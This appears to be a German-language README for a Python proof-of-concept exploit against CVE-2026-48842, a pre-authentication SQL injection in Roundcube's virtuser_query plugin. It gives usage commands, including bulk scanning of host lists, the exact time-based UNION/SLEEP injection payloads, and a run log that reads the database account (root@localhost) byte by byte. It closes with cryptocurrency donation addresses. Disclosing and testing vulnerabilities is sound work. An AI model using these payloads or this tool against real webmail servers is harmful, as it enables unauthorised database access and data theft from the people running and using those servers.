
Python-PoC für CVE-2026-48842, eine Pre-Auth-SQL-Injection im virtuser_query-Plugin von Roundcube. Bestätigt die Schwachstelle über zeitbasierte Differenzanalyse und liest das DB-Konto per Blind-Read aus.
virtuser_query Pre-Auth-SQLiPoC für CVE-2026-48842, eine Pre-Auth-SQL-Injection im optionalen
virtuser_query-Plugin von Roundcube Webmail.
Das Tool tut zwei Dinge und weigert sich, bei einem davon zu raten:
--dumpdbuser aus dem Ziel ausliest.Es gibt das exakte SQL aus, das jede Probe erzeugt, sodass ein fehlgeschlagenes oder nicht eindeutiges Ergebnis niemals als Fund präsentiert wird.
| CVE | CVE-2026-48842 |
| Typ | CWE-89 — SQL-Injection |
| Komponente | plugins/virtuser_query/virtuser_query.php (standardmäßig nicht aktiviert) |
| Betroffen | Roundcube 1.6.x < 1.6.16, 1.7.x < 1.7.1 |
| Behoben | 1.6.16, 1.7.1 |
requestspip install requests
python cve_2026_48842_poc.py https://mail.example.tld
python cve_2026_48842_poc.py https://mail.example.tld --dumpdbuser
python cve_2026_48842_poc.py https://mail.example.tld -d 3 --dumpdbuser
python cve_2026_48842_poc.py --list hosts.txt
python cve_2026_48842_poc.py --list hosts.txt -d 3
| Argument | Beschreibung | Standard |
|---|---|---|
target | Roundcube-Basis-URL, z. B. https://mail.example.tld oder http://host/roundcube | — |
-l, --list FILE | Datei mit einer Ziel-URL pro Zeile. # beginnt einen Kommentar. | — |
-d, --delay N | SLEEP-Sekunden pro Oracle-Probe | 7 |
--dumpdbuser | Blindes Auslesen von CURRENT_USER(), sobald die Injection bestätigt ist | aus |
-h, --help | Hilfe anzeigen | — |
Echter Lauf gegen ein lokales Roundcube 1.6.15:
[*] http://127.0.0.1/roundcube
version=1.6.15 noise_floor=0.071s _token=yes
[1] detection injected=True delta(true-false)=6.026s delta(true-baseline)=6.015s threshold=1.8s
baseline 0.083s http=401 sql_error=None
_user=poc_baseline_user_9f2a
SQL 1.6.15: SELECT host FROM virtuser WHERE user='poc_baseline_user_9f2a'
artifact_unterminated 0.09s http=401 sql_error=None
_user=a%5C
SQL 1.6.15: SELECT host FROM virtuser WHERE user='a\'
injected_true 6.098s http=401 sql_error=None
_user=%5C%27+UNION+SELECT+IF%281%3D1%2CSLEEP%283%29%2C0%29--+-
SQL 1.6.15: SELECT host FROM virtuser WHERE user='\\' UNION SELECT IF(1=1,SLEEP(3),0)-- -'
injected_false 0.072s http=401 sql_error=None
_user=%5C%27+UNION+SELECT+IF%281%3D2%2CSLEEP%283%29%2C0%29--+-
SQL 1.6.15: SELECT host FROM virtuser WHERE user='\\' UNION SELECT IF(1=2,SLEEP(3),0)-- -'
[2] blind read of the database account (~42s per byte, no quotes used)
subquery: SELECT CURRENT_USER()
length=14 bytes
[ 1/14] 'r' [ 2/14] 'ro' [ 3/14] 'roo' [ 4/14] 'root'
[ 5/14] 'root@' [ 6/14] 'root@l' [ 7/14] 'root@lo' [ 8/14] 'root@loc'
[ 9/14] 'root@loca' [ 10/14] 'root@local' [ 11/14] 'root@localh'
[ 12/14] 'root@localho' [ 13/14] 'root@localhos' [ 14/14] 'root@localhost'
[+] database account = 'root@localhost'
Wenn dieses Projekt dir geholfen hat, ziehe in Betracht, seine Entwicklung zu unterstützen:
TDCPYioWbZW4iyMCuHhJeFsUZJ88YqZWc1

0xf6eA555f95ed5b356fF7a90E6461EbBF6ce105cE
